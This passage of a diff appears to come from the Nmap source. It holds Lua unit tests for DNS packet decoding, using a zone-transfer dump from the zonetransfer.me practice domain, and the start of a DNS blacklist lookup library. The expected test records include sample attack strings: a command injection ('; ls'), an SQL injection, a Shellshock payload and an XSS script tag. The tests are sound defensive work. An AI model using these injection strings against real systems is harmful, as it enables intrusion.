+ 0x73, 0x63, 0x61, 0x6e, 0x6d, 0x65, -- "scanme"
+ 0x04, -- Label length
+ 0x6e, 0x6d, 0x61, 0x70, -- "nmap"
+ 0x03, -- Label length
+ 0x6f, 0x72, 0x67, -- "org"
+ 0x00, -- Name terminator
+ 0x00, 0x01, -- A
+ 0x00, 0x01, -- CLASS_IN
+ 0xc0, 0x0c, -- Compressed name pointer to offset 12
+ 0x00, 0x01, -- A
+ 0x00, 0x01, -- CLASS_IN
+ 0x00, 0x00, 0x0e, 0x0f, -- TTL 3599
+ 0x00, 0x04, -- Record Length
+ 0x2d, 0x21, 0x20, 0x9c ), -- 45.33.32.156
+ qname = "scanme.nmap.org",
+ qtype = "A",
+ ans = {"ip", "45.33.32.156"}
+ },
+ {
+ pkt = string.char(
+ 0x08, 0xf2, -- ID
+ 0x81, 0x80, -- Flags
+ 0x00, 0x01, -- Questions count
+ 0x00, 0x01, -- Answers RRs count
+ 0x00, 0x00, -- Authorities RRs count
+ 0x00, 0x00, -- Additionals RRs count
+ 0x03, -- Label length
+ 0x31, 0x35, 0x36, -- "156"
+ 0x02, -- Label length
+ 0x33, 0x32, -- "32"
+ 0x02, -- Label length
+ 0x33, 0x33, -- "33"
+ 0x02, -- Label length
+ 0x34, 0x35, -- "45"
+ 0x07, -- Label length
+ 0x69, 0x6e, 0x2d, 0x61, 0x64, 0x64, 0x72, -- "in-addr"
+ 0x04, -- Label length
+ 0x61, 0x72, 0x70, 0x61, -- "arpa"
+ 0x00, -- Name terminator
+ 0x00, 0x0c, -- PTR
+ 0x00, 0x01, -- CLASS_IN
+ 0xc0, 0x0c, -- Compressed name pointer to offset 12
+ 0x00, 0x0c, -- PTR
+ 0x00, 0x01, -- CLASS_IN
+ 0x00, 0x01, 0x51, 0x78, -- TTL 86392
+ 0x00, 0x11, -- Record Length
+ 0x06, -- Label length
+ 0x73, 0x63, 0x61, 0x6e, 0x6d, 0x65, -- "scanme"
+ 0x04, -- Label length
+ 0x6e, 0x6d, 0x61, 0x70, -- "nmap"
+ 0x03, -- Label length
+ 0x6f, 0x72, 0x67, -- "org"
+ 0x00), -- Name terminator
+ qname = "156.32.33.45.in-addr.arpa",
+ qtype = "PTR",
+ ans = {"domain", "scanme.nmap.org"}
+ },
+}
+for _, t in ipairs(tests) do
+ local decoded = decode(t.pkt)
+ local q = decoded.questions[1]
+ local a = decoded.answers[1]
+ test_suite:add_test(unittest.equal(q.dname, t.qname), "decode question name")
+ test_suite:add_test(unittest.equal(q.dtype, types[t.qtype]), "decode question type")
+ test_suite:add_test(unittest.equal(a[t.ans[1]], t.ans[2]), "decode answer")
+end
+local axfr = stdnse.fromhex(
+"dead840000010032000000000c7a\z
+6f6e657472616e73666572026d650000\z
+fc0001c00c0006000100001c20002f06\z
+6e737a746d310464696769056e696e6a\z
+610005726f62696ec034785908810002\z
+a300000003840012750000000e10c00c\z
+000d00010000012c00190d436173696f\z
+2066782d373030470a57696e646f7773\z
+205850c00c001000010000012d004544\z
+676f6f676c652d736974652d76657269\z
+6669636174696f6e3d74795032384a37\z
+4a41554841396677327348584d676343\z
+4330493658426d6d6f56693034566c4d\z
+65777841c00c000f000100001c200016\z
+0000054153504d58014c06474f4f474c\z
+4503434f4d00c00c000f000100001c20\z
+0009000a04414c5431c0e0c00c000f00\z
+0100001c200009000a04414c5432c0e0\z
+c00c000f000100001c20001600140641\z
+53504d58320a474f4f474c454d41494c\z
+c0efc00c000f000100001c20000b0014\z
+064153504d5833c133c00c000f000100\z
+001c20000b0014064153504d5834c133\z
+c00c000f000100001c20000b00140641\z
+53504d5835c133c00c0001000100001c\z
+20000405c4690ec00c0002000100001c\z
+200002c02dc00c0002000100001c2000\z
+09066e737a746d32c0340f5f61636d65\z
+2d6368616c6c656e6765c00c00100001\z
+0000012d002c2b364f6130356862554a\z
+39785373765979377041705176774355\z
+535347677876726264697a6a65504573\z
+5a49045f736970045f746370c00c0021\z
+0001000036b0001b0000000013c40377\z
+77770c7a6f6e657472616e7366657202\z
+6d650002313403313035033139360135\z
+07494e2d414444520441525041c22000\z
+0c000100001c200002c21c0c61736664\z
+6261757468646e73c220001200010000\z
+1edc001c0001086173666462626f780c\z
+7a6f6e657472616e73666572026d6500\z
+c2740001000100001c2000047f000001\z
+0b6173666462766f6c756d65c27d0012\z
+000100001e78001c0001086173666462\z
+626f780c7a6f6e657472616e73666572\z
+026d65000f63616e62657272612d6f66\z
+66696365c2c10001000100001c200004\z
+ca0e51e607636d6465786563c2c10010\z
+00010000012c0005043b206c7307636f\z
+6e74616374c2c10010000100278d0000\z
+646352656d656d62657220746f206361\z
+6c6c206f7220656d61696c2050697070\z
+61206f6e202b34342031323320343536\z
+37383930206f72207069707061407a6f\z
+6e657472616e736665722e6d65207768\z
+656e206d616b696e6720444e53206368\z
+616e6765730964632d6f6666696365c2\z
+c10001000100001c2000048fe4b58408\z
+6465616462656566c2c1001c00010000\z
+1c210010deadbeaf0000000000000000\z
+00000000026472c2c1001d0001000001\z
+2c0010001216138b728cee7fa5c44a00\z
+98968003445a43c2c10010000100001c\z
+200008074162436445664705656d6169\z
+6cc2c100230001000008ae0038000100\z
+010150094532552b656d61696c000565\z
+6d61696c0c7a6f6e657472616e736665\z
+72026d650c7a6f6e657472616e736665\z
+72026d6500c3f90001000100001c2000\z
+044a7dce1a0548656c6c6fc432001000\z
+0100001c20001d1c486920746f204a6f\z
+736820616e6420616c6c206869732063\z
+6c61737304686f6d65c4320001000100\z
+001c2000047f00000104496e666fc432\z
+0010000100001c20008b8a5a6f6e6554\z
+72616e736665722e6d65207365727669\z
+63652070726f76696465642062792052\z
+6f62696e20576f6f64202d20726f6269\z
+6e40646967692e6e696e6a612e205365\z
+6520687474703a2f2f646967692e6e69\z
+6e6a612f70726f6a656374732f7a6f6e\z
+657472616e736665726d652e70687020\z
+666f72206d6f726520696e666f726d61\z
+74696f6e2e08696e7465726e616cc432\z
+000200010000012c000906696e746e73\z
+31c432c533000200010000012c000906\z
+696e746e7332c432c548000100010000\z
+012c000451046c29c55d000100010000\z
+012c0004a7582a5e066f6666696365c4\z
+320001000100001c200004041727fe0a\z
+697076366163746e6f77036f7267c432\z
+001c000100001c2000102001067c02e8\z
+001100000000c1001332036f7761c432\z
+0001000100001c200004cf2ec5200972\z
+6f62696e776f6f64c432001000010000\z
+012e000b0a526f62696e20576f6f6402\z
+7270c432001100010000014100320572\z
+6f62696e0c7a6f6e657472616e736665\z
+72026d650009726f62696e776f6f640c\z
+7a6f6e657472616e73666572026d6500\z
+03736970c62d0023000100000d05003b\z
+000200030150074532552b7369702b21\z
+5e2e2a24217369703a637573746f6d65\z
+722d73657276696365407a6f6e657472\z
+616e736665722e6d6521000473716c69\z
+c62d001000010000012c000c0b27206f\z
+7220313d31202d2d067373686f636bc6\z
+2d0010000100001c20001c1b2829207b\z
+203a5d7d3b206563686f205368656c6c\z
+53686f636b65640773746167696e67c6\z
+2d0005000100001c20001a0377777710\z
+7379646e65796f70657261686f757365\z
+03636f6d000f616c6c746370706f7274\z
+736f70656e086669726577616c6c0474\z
+657374c62d000100010000012d00047f\z
+0000010774657374696e67c62d000500\z
+010000012d0002c21c0376706ec62d00\z
+01000100000fa00004ae243b9ac21c00\z
+01000100001c20000405c4690e037873\z
+73c62d001000010000012c00201f273e\z
+3c7363726970743e616c657274282742\z
+6f6f27293c2f7363726970743ec62d00\z
+06000100001c200018c02dc040785908\z
+810002a300000003840012750000000e\z
+10")
+local axfr_decoded = decode(axfr)
+local answers = {
+ {dname="zonetransfer.me", dtype=types["SOA"], mname="nsztm1.digi.ninja", rname="robin.digi.ninja"},
+ {dname="zonetransfer.me", dtype=types["HINFO"]}, -- "Casio fx-700G" "Windows XP"
+ {dname="zonetransfer.me", dtype=types["TXT"], text="google-site-verification=tyP28J7JAUHA9fw2sHXMgcCC0I6XBmmoVi04VlMewxA"},
+ {dname="zonetransfer.me", dtype=types["MX"], pref=0, server="ASPMX.L.GOOGLE.COM"},
+ {dname="zonetransfer.me", dtype=types["MX"], pref=10, server="ALT1.ASPMX.L.GOOGLE.COM"},
+ {dname="zonetransfer.me", dtype=types["MX"], pref=10, server="ALT2.ASPMX.L.GOOGLE.COM"},
+ {dname="zonetransfer.me", dtype=types["MX"], pref=20, server="ASPMX2.GOOGLEMAIL.COM"},
+ {dname="zonetransfer.me", dtype=types["MX"], pref=20, server="ASPMX3.GOOGLEMAIL.COM"},
+ {dname="zonetransfer.me", dtype=types["MX"], pref=20, server="ASPMX4.GOOGLEMAIL.COM"},
+ {dname="zonetransfer.me", dtype=types["MX"], pref=20, server="ASPMX5.GOOGLEMAIL.COM"},
+ {dname="zonetransfer.me", dtype=types["A"], ip="5.196.105.14"},
+ {dname="zonetransfer.me", dtype=types["NS"], domain="nsztm1.digi.ninja"},
+ {dname="zonetransfer.me", dtype=types["NS"], domain="nsztm2.digi.ninja"},
+ {dname="_acme-challenge.zonetransfer.me", dtype=types["TXT"], text="6Oa05hbUJ9xSsvYy7pApQvwCUSSGgxvrbdizjePEsZI"},
+ {dname="_sip._tcp.zonetransfer.me", dtype=types["SRV"], prio=0, weight=0, port=5060, target="www.zonetransfer.me"},
+ {dname="14.105.196.5.IN-ADDR.ARPA.zonetransfer.me", dtype=types["PTR"], domain="www.zonetransfer.me"},
+ {dname="asfdbauthdns.zonetransfer.me", dtype=types["AFSDB"]}, -- 1 asfdbbox.zonetransfer.me.
+ {dname="asfdbbox.zonetransfer.me", dtype=types["A"], ip="127.0.0.1"},
+ {dname="asfdbvolume.zonetransfer.me", dtype=types["AFSDB"]}, -- 1 asfdbbox.zonetransfer.me.
+ {dname="canberra-office.zonetransfer.me", dtype=types["A"], ip="202.14.81.230"},
+ {dname="cmdexec.zonetransfer.me", dtype=types["TXT"], text="; ls"},
+ {dname="contact.zonetransfer.me", dtype=types["TXT"], text="Remember to call or email Pippa on +44 123 4567890 or pippa@zonetransfer.me when making DNS changes"},
+ {dname="dc-office.zonetransfer.me", dtype=types["A"], ip="143.228.181.132"},
+ {dname="deadbeef.zonetransfer.me", dtype=types["AAAA"], ipv6="dead:beaf::"},
+ {dname="dr.zonetransfer.me", dtype=types["LOC"]}, -- 53.349044 N 1.642646 W 0m 1.0m 10000.0m 10.0m
+ {dname="DZC.zonetransfer.me", dtype=types["TXT"], text="AbCdEfG"},
+ {dname="email.zonetransfer.me", dtype=types["NAPTR"]}, -- 1 1 "P" "E2U+email" "" email.zonetransfer.me.zonetransfer.me.
+ {dname="email.zonetransfer.me", dtype=types["A"], ip="74.125.206.26"},
+ {dname="Hello.zonetransfer.me", dtype=types["TXT"], text="Hi to Josh and all his class"},
+ {dname="home.zonetransfer.me", dtype=types["A"], ip="127.0.0.1"},
+ {dname="Info.zonetransfer.me", dtype=types["TXT"], text="ZoneTransfer.me service provided by Robin Wood - robin@digi.ninja. See http://digi.ninja/projects/zonetransferme.php for more information."},
+ {dname="internal.zonetransfer.me", dtype=types["NS"], domain="intns1.zonetransfer.me"},
+ {dname="internal.zonetransfer.me", dtype=types["NS"], domain="intns2.zonetransfer.me"},
+ {dname="intns1.zonetransfer.me", dtype=types["A"], ip="81.4.108.41"},
+ {dname="intns2.zonetransfer.me", dtype=types["A"], ip="167.88.42.94"},
+ {dname="office.zonetransfer.me", dtype=types["A"], ip="4.23.39.254"},
+ {dname="ipv6actnow.org.zonetransfer.me", dtype=types["AAAA"], ipv6="2001:67c:2e8:11::c100:1332"},
+ {dname="owa.zonetransfer.me", dtype=types["A"], ip="207.46.197.32"},
+ {dname="robinwood.zonetransfer.me", dtype=types["TXT"], text="Robin Wood"},
+ {dname="rp.zonetransfer.me", dtype=types["RP"]}, -- robin.zonetransfer.me. robinwood.zonetransfer.me.
+ {dname="sip.zonetransfer.me", dtype=types["NAPTR"]}, -- 2 3 "P" "E2U+sip" "!^.*$!sip:customer-service@zonetransfer.me!" .
+ {dname="sqli.zonetransfer.me", dtype=types["TXT"], text="' or 1=1 --"},
+ {dname="sshock.zonetransfer.me", dtype=types["TXT"],text="() { :]}; echo ShellShocked"},
+ {dname="staging.zonetransfer.me", dtype=types["CNAME"], domain="www.sydneyoperahouse.com"},
+ {dname="alltcpportsopen.firewall.test.zonetransfer.me", dtype=types["A"], ip="127.0.0.1"},
+ {dname="testing.zonetransfer.me", dtype=types["CNAME"], domain="www.zonetransfer.me"},
+ {dname="vpn.zonetransfer.me", dtype=types["A"], ip="174.36.59.154"},
+ {dname="www.zonetransfer.me", dtype=types["A"], ip="5.196.105.14"},
+ {dname="xss.zonetransfer.me", dtype=types["TXT"], text="'><script>alert('Boo')</script>"},
+ {dname="zonetransfer.me", dtype=types["SOA"], mname="nsztm1.digi.ninja", rname="robin.digi.ninja"},
+}
+for i, a in ipairs(axfr_decoded.answers) do
+ ta = answers[i]
+ if ta.dtype == types.TXT then
+ test_suite:add_test(unittest.equal(a.dname, ta.dname), i .. ".dname")
+ test_suite:add_test(unittest.equal(a.dtype, ta.dtype), i .. ".dtype")
+ test_suite:add_test(unittest.equal(a.TXT.text[1], ta.text), i .. ".text")
+ elseif ta.dtype == types.SOA then
+ test_suite:add_test(unittest.equal(a.dname, ta.dname), i .. ".dname")
+ test_suite:add_test(unittest.equal(a.dtype, ta.dtype), i .. ".dtype")
+ test_suite:add_test(unittest.equal(a.SOA.mname, ta.mname), i .. ".mname")
+ test_suite:add_test(unittest.equal(a.SOA.rname, ta.rname), i .. ".rname")
+ elseif ta.dtype == types.MX then
+ test_suite:add_test(unittest.equal(a.dname, ta.dname), i .. ".dname")
+ test_suite:add_test(unittest.equal(a.dtype, ta.dtype), i .. ".dtype")
+ test_suite:add_test(unittest.equal(a.MX.pref, ta.pref), i .. ".pref")
+ test_suite:add_test(unittest.equal(a.MX.server, ta.server), i .. ".server")
+ elseif ta.dtype == types.SRV then
+ test_suite:add_test(unittest.equal(a.dname, ta.dname), i .. ".dname")
+ test_suite:add_test(unittest.equal(a.dtype, ta.dtype), i .. ".dtype")
+ test_suite:add_test(unittest.equal(a.SRV.prio, ta.prio), i .. ".prio")
+ test_suite:add_test(unittest.equal(a.SRV.weight, ta.weight), i .. ".weight")
+ test_suite:add_test(unittest.equal(a.SRV.port, ta.port), i .. ".port")
+ else
+ for k, v in pairs(ta) do
+ test_suite:add_test(unittest.equal(a[k], v), ("%d.%s"):format(i, k))
+ end
+ end
+end
+return _ENV;
diff --git a/nselib/dnsbl.lua b/nselib/dnsbl.lua
new file mode 100644
index 0000000..b551799
--- /dev/null
+++ b/nselib/dnsbl.lua
@@ -0,0 +1,624 @@
+--- A minimalistic DNS BlackList library implemented to facilitate querying
+-- various DNSBL services. The current list of services has been implemented
+-- based on the following compilations of services:
+-- * http://en.wikipedia.org/wiki/Comparison_of_DNS_blacklists
+-- * http://www.robtex.com
+-- * http://www.sdsc.edu/~jeff/spam/cbc.html
+--
+-- The library implements a helper class through which script may access
+-- the BL services. A typical script implementation could look like this:
+--
+-- <code>
+-- local helper = dnsbl.Helper:new("SPAM", "short")
+-- helper:setFilter('dnsbl.inps.de')
+-- local status, result = helper:checkBL(host.ip)
+-- ... formatting code ...
+-- </code>
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+local coroutine = require "coroutine"
+local dns = require "dns"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+_ENV = stdnse.module("dnsbl", stdnse.seeall)
+
+
+-- Creates a new Service instance
+-- @param ip host that needs to be checked
+-- @param mode string (short|long) specifying whether short or long
+-- results are to be returned
+-- @param config service configuration in case this service provider
+-- needs user supplied configuration
+-- @return o instance of Helper
+local function service_new (self, ip, mode, config)
+ local o = { ip = ip, mode = mode, config = config }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+end
+
+-- The services table contains a list of valid DNSBL providers
+-- Providers are categorized in categories that should contain services that
+-- do DNS blacklist checks for that particular category.
+--
+-- Each service should be stored under a key that specifies the service name
+-- and should contain:
+-- <code>ns_type</code> - A table with a record type as key and mode as value
+-- eg: { ["A"] = "short", ["TXT"] = "long" }.
+-- If only short queries are supported using A records, this argument may be
+-- omitted.
+--
+-- <code>resp_parser</code> - A function to parse the response received from
+-- the DNS query. The function should take two arguments:
+-- * <code>response</code> - the DNS response received by the server,
+-- typically a code represented by an IP.
+-- * <code>mode</code> - a string representing what mode (long|short) that
+-- the function should parse. If <code>ns_type</code> does not contain
+-- the TXT record, this argument and check can be omitted.
+-- When the short mode is used, the function should return a table containing
+-- the <code>state</code> field, or nil if the IP wasn't listed. When long
+-- mode is used, the function should return additional information using the
+-- <code>details</code> field. Eg:
+-- return { state = "SPAM" } -- short mode
+-- return { state = "PROXY", details = {
+-- "Proxy is working",
+-- "Proxy was scanned"
+-- } -- long mode
+--
+-- <code>fmt_query</code> - A function responsible for formatting the DNS
+-- query. When the default format is being used <reverse ip>.<servicename>
+-- eg: 4.3.2.1.spam.dnsbl.sorbs.net, this function can be omitted. But if
+-- this function is defined, it must return the query to be executed,
+-- otherwise the library will assume that the provider needs configuration
+-- that failed to be provided.
+--
+-- <code>configuration</code> - If the service requires the user to provide
+-- configurations, this function will have to return a list with the name
+-- and description of the arguments that provide the configuration/options.
+-- If this function isn't specified, the library will assume the service
+-- doesn't require configuration.
+--
+SERVICES = {
+
+ SPAM = {
+
+ ["dnsbl.inps.de"] = {
+ -- This service supports both long and short <code>mode</code>
+ ns_type = {
+ ["short"] = "A",
+ ["long"] = "TXT",
+ },
+ new = service_new,
+ -- Sample fmt_query function, if no function is specified, the library
+ -- will assume that the IP should be reversed add suffixed with the
+ -- service name.
+ fmt_query = function(self)
+ local rev_ip = dns.reverse(self.ip):match("^(.*)%.in%-addr%.arpa$")
+ return ("%s.spam.dnsbl.sorbs.net"):format(rev_ip)
+ end,
+ -- This function parses the response and supports both long and
+ -- short mode.
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.2"] = "SPAM",
+ }
+ if ( ("short" == self.mode and r[1]) ) then
+ return responses[r[1]]
+ else
+ return { state = "SPAM", details = { r[1] } }
+ end
+ end,
+ },
+
+ ["spam.dnsbl.sorbs.net"] = {
+ ns_type = {
+ ["short"] = "A"
+ },
+ new = service_new,
+ resp_parser = function(self, r)
+ return ( r[1] == "127.0.0.6" and { state = "SPAM" } )
+ end,
+ },
+
+ ["bl.nszones.com"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.2"] = "SPAM",
+ ["127.0.0.3"] = "DYNAMIC"
+ }
+ return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] }
+ end,
+ },
+
+ ["all.spamrats.com"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.36"] = "DYNAMIC",
+ ["127.0.0.38"] = "SPAM",
+ }
+ return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] }
+ end,
+ },
+
+ ["list.quorum.to"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ -- this service appears to return 127.0.0.0 when the service is
+ -- "blocked because it has never been seen to send mail".
+ -- This would essentially return every host as SPAM and we
+ -- don't want that.
+ return ( ( r[1] and r[1] ~= "127.0.0.0" ) and { state = "SPAM" } )
+ end
+ },
+
+ ["sbl.spamhaus.org"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.2"] = "SPAM",
+ ["127.0.0.3"] = "SPAM",
+ }
+ return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] }
+ end,
+ },
+
+ ["bl.spamcop.net"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.2"] = "SPAM",
+ }
+ return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] }
+ end,
+ },
+
+ ["l2.apews.org"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.2"] = "SPAM",
+ }
+ return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] }
+ end,
+ },
+
+ },
+
+ PROXY = {
+
+ ["dnsbl.tornevall.org"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ if ( "short" == self.mode and r[1] ) then
+ return { state = "PROXY" }
+ elseif ( "long" == self.mode ) then
+ local responses = {
+ [1] = "Proxy has been scanned",
+ [2] = "Proxy is working",
+ [4] = "?",
+ [8] = "Proxy was tested, but timed out on connection",
+ [16] = "Proxy was tested but failed at connection",
+ [32] = "Proxy was tested but the IP was different",
+ [64] = "IP marked as \"abusive host\"",
+ [128] = "Proxy has a different anonymous-state"
+ }
+
+ local code = tonumber(r[1]:match("%.(%d*)$"))
+ local result = {}
+
+ for k, v in pairs(responses) do
+ if ( ( code & k ) == k ) then
+ table.insert(result, v)
+ end
+ end
+ return { state = "PROXY", details = result }
+ end
+ end,
+ },
+
+ ["ip-port.exitlist.torproject.org"] = {
+ configuration = {
+ ["port"] = "the port to which the target can relay to",
+ ["ip"] = "the IP address to which the target can relay to"
+ },
+ new = service_new,
+ fmt_query = function(self)
+ if ( not(self.config.port) or not(self.config.ip) ) then
+ return
+ end
+
+ local rev_ip = dns.reverse(self.ip):match("^(.*)%.in%-addr%.arpa$")
+ return ("%s.%s.%s.ip-port.exitlist.torproject.org"):format(rev_ip,
+ self.config.port, self.config.ip)
+ end,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.2"] = "PROXY",
+ }
+ return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] }
+ end,
+ },
+
+ ["tor.dan.me.uk"] = {
+ ns_type = {
+ ["short"] = "A",
+ ["long"] = "TXT",
+ },
+ new = service_new,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.100"] = "PROXY",
+ }
+ if ( "short" == self.mode and r[1] ) then
+ return { state = responses[r[1]] }
+ else
+ local flagsinfo = {
+ ["E"] = "Exit",
+ ["A"] = "Authority",
+ ["B"] = "BadExit",
+ ["D"] = "V2Dir",
+ ["F"] = "Fast",
+ ["G"] = "Guard",
+ ["H"] = "HSDir",
+ ["N"] = "Named",
+ ["R"] = "Running",
+ ["S"] = "Stable",
+ ["U"] = "Unnamed",
+ ["V"] = "Valid"
+ }
+
+ local name, ports, flagsfound = r[1]:match(
+ "N:(.+)/P:([%d,]+)/F:([EABDFGHNRSUV]+)")
+
+ local flags = {}
+ flags['name'] = "Flags"
+
+ for k, v in pairs(flagsinfo) do
+ if flagsfound:match(k) then
+ table.insert(flags, v)
+ end
+ end
+
+ local result = {
+ ("Name: %s"):format(name),
+ ("Ports: %s"):format(ports),
+ flags
+ }
+
+ return { state = "PROXY", details = result }
+ end
+ end,
+ },
+
+ ["http.dnsbl.sorbs.net"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.2"] = "PROXY",
+ }
+ return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] }
+ end,
+ },
+
+ ["socks.dnsbl.sorbs.net"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.3"] = "PROXY",
+ }
+ return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] }
+ end,
+ },
+
+ ["misc.dnsbl.sorbs.net"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.4"] = "PROXY",
+ }
+ return ( r[1] and responses[r[1]] ) and { state = responses[r[1]] }
+ end,
+ }
+
+ },
+
+ ATTACK = {
+ ["dnsbl.httpbl.org"] = {
+ configuration = {
+ ["apikey"] = "the http:BL API key"
+ },
+ new = service_new,
+ fmt_query = function(self)
+ if ( not(self.config.apikey) ) then
+ return
+ end
+
+ local rev_ip = dns.reverse(self.ip):match("^(.*)%.in%-addr%.arpa$")
+ return ("%s.%s.dnsbl.httpbl.org"):format(self.config.apikey, rev_ip)
+ end,
+ resp_parser = function(self, r)
+ if ( not(r[1]) ) then
+ return
+ end
+
+ local parts, err = ipOps.get_parts_as_number(r[1])
+
+ if ( not(parts) or err ) then
+ -- TODO Should we return failure in the result?
+ stdnse.debug1("The dnsbl.httpbl.org provider failed to return a valid address")
+ return
+ end
+
+ local octet1, octet2, octet3, octet4 = table.unpack(parts)
+
+ if ( octet1 ~= 127 ) then
+ -- This shouldn't happen :P
+ stdnse.debug1(
+ "The request made to dnsbl.httpbl.org was considered invalid (%i)",
+ octet1)
+ elseif ( "short" == self.mode ) then
+ return { state = "ATTACK" }
+ else
+ local search = {
+ [0] = "Undocumented",
+ [1] = "AltaVista",
+ [2] = "Ask",
+ [3] = "Baidu",
+ [4] = "Excite",
+ [5] = "Google",
+ [6] = "Looksmart",
+ [7] = "Lycos",
+ [8] = "MSN",
+ [9] = "Yahoo",
+ [10] = "Cuil",
+ [11] = "InfoSeek",
+ [12] = "Miscellaneous"
+ }
+
+ local result = {}
+
+ -- Search engines are a special case.
+ if ( octet4 == 0 ) then
+ table.insert(result, ("Search engine: %s"):format(
+ search[octet3]))
+ else
+ table.insert(result, ("Last activity: %i days"):format(
+ octet2))
+ table.insert(result, ("Threat score: %i"):format(
+ octet3))
+
+ local activity = {}
+ activity['name'] = "Activity"
+ -- Suspicious activity
+ if ( (octet4 & 1) == 1) then
+ table.insert(activity, "Suspicious")
+ end
+
+ -- Harvester
+ if ( (octet4 & 2) == 2) then
+ table.insert(activity, "Harvester")
+ end
+
+ -- Comment spammer
+ if ( (octet4 & 4) == 4) then
+ table.insert(activity, "Comment spammer")
+ end
+
+ table.insert(result, activity)
+ end
+
+ return { state = "ATTACK", details = result }
+ end
+ end,
+ },
+
+ ["all.bl.blocklist.de"] = {
+ new = service_new,
+ resp_parser = function(self, r)
+ local responses = {
+ ["127.0.0.2"] = "Amavis",
+ ["127.0.0.3"] = "DDoS",
+ ["127.0.0.4"] = "Asterisk, SIP, VoIP",
+ ["127.0.0.5"] = "Badbot",
+ ["127.0.0.6"] = "FTP",
+ ["127.0.0.7"] = "IMAP",
+ ["127.0.0.8"] = "IRC bot",
+ ["127.0.0.9"] = "Mail",
+ ["127.0.0.10"] = "POP3",
+ ["127.0.0.11"] = "Registration bot",
+ ["127.0.0.12"] = "Remote file inclusion",
+ ["127.0.0.13"] = "SASL",
+ ["127.0.0.14"] = "SSH",
+ ["127.0.0.15"] = "w00tw00t",
+ ["127.0.0.16"] = "Port flood",
+ }
+ if ( "short" == self.mode and r[1] ) then
+ return "ATTACK"
+ else
+ return ( r[1] and responses[r[1]] ) and { state = "ATTACK",
+ details = {
+ ("Type: %s"):format(responses[r[1]])
+ }
+ }
+ end
+ end,
+ }
+},
+
+}
+
+
+
+Helper = {
+
+ -- Creates a new Helper instance
+ -- @param category string containing a valid DNSBL service category
+ -- @param mode string (short|long) specifying whether short or long
+ -- results are to be returned
+ -- @return o instance of Helper
+ new = function(self, category, mode)
+ local o = { category = category:upper(), mode = mode }
+ assert(category and SERVICES[category:upper()], "Invalid category was supplied, aborting")
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Lists all DNSBL services for the category
+ -- @return services table of service names
+ listServices = function(self)
+ local services = {}
+ for name, svc in pairs(SERVICES[self.category]) do
+ if ( svc.configuration ) then
+ local service = {}
+ service['name'] = name
+
+ for config, description in pairs(svc.configuration) do
+ table.insert(service, ("config: %s.%s - %s"):format(
+ name, config, description))
+ end
+
+ table.insert(services, service )
+ else
+ table.insert(services, name)
+ end
+ end
+ return services
+ end,
+
+ -- Validates the filter set by setFilter to make sure it contains only
+ -- valid service names.
+ -- @return status boolean, true on success false on failure
+ -- @return err string containing an error message on failure
+ validateFilter = function(self)
+
+ if ( not(self.filterstr) ) then
+ return true
+ end
+
+ local all = SERVICES[self.category]
+ self.filter = {}
+ for _, f in pairs(stringaux.strsplit(",%s*", self.filterstr)) do
+ if ( not(SERVICES[self.category][f]) ) then
+ self.filter = nil
+ return false, ("Service does not exist '%s'"):format(f)
+ end
+ self.filter[f] = true
+ end
+ return true
+ end,
+
+ -- Sets a new service filter to choose only a limited subset of services
+ -- within a category.
+ -- @param filter string containing a comma separated list of service names
+ setFilter = function(self, filter) self.filterstr = filter end,
+
+ -- Gets a list of filtered services, or all services if no filter is in use
+ -- @return services table containing a list of services
+ getServices = function(self)
+ if ( not(self:validateFilter()) ) then
+ return nil
+ end
+
+ if ( self.filter ) then
+ local filtered = {}
+ for name, svc in pairs(SERVICES[self.category]) do
+ if ( self.filter[name] ) then
+ filtered[name] = svc
+ end
+ end
+ return filtered
+ else
+ return SERVICES[self.category]
+ end
+ end,
+
+ doQuery = function(self, ip, name, svc, answers)
+
+ local condvar = nmap.condvar(answers)
+ local config = {}
+
+ if ( svc.configuration ) then
+ for key in pairs(svc.configuration) do
+ config[key] = stdnse.get_script_args(("%s.%s"):format(name, key))
+ end
+ end
+
+ svc = svc:new(ip, self.mode, config)
+
+ local ns_type = ( svc.ns_type and svc.ns_type[self.mode] ) and svc.ns_type[self.mode] or "A"
+ local query
+
+ if ( not(svc.fmt_query) ) then
+ local rev_ip = dns.reverse(ip):match("^(.*)%.in%-addr%.arpa$")
+ query = ("%s.%s"):format(rev_ip, name)
+ else
+ query = svc:fmt_query()
+ end
+
+ if ( query ) then
+ local status, answer = dns.query(query, {dtype=ns_type, retAll=true} )
+ answers[name] = { status = status, answer = answer, svc = svc }
+ else
+ stdnse.debug1("Query function returned nothing, skipping '%s'", name)
+ end
+
+ condvar "signal"
+ end,
+
+ -- Runs the DNS blacklist check for the given IP against all non-filtered
+ -- services in the given category.
+ -- @param ip string containing the IP address to check
+ -- @return result table containing the results of the BL checks
+ checkBL = function(self, ip)
+ local result, answers, threads = {}, {}, {}
+ local condvar = nmap.condvar(answers)
+
+ for name, svc in pairs(self:getServices()) do
+ local co = stdnse.new_thread(self.doQuery, self, ip, name, svc, answers)
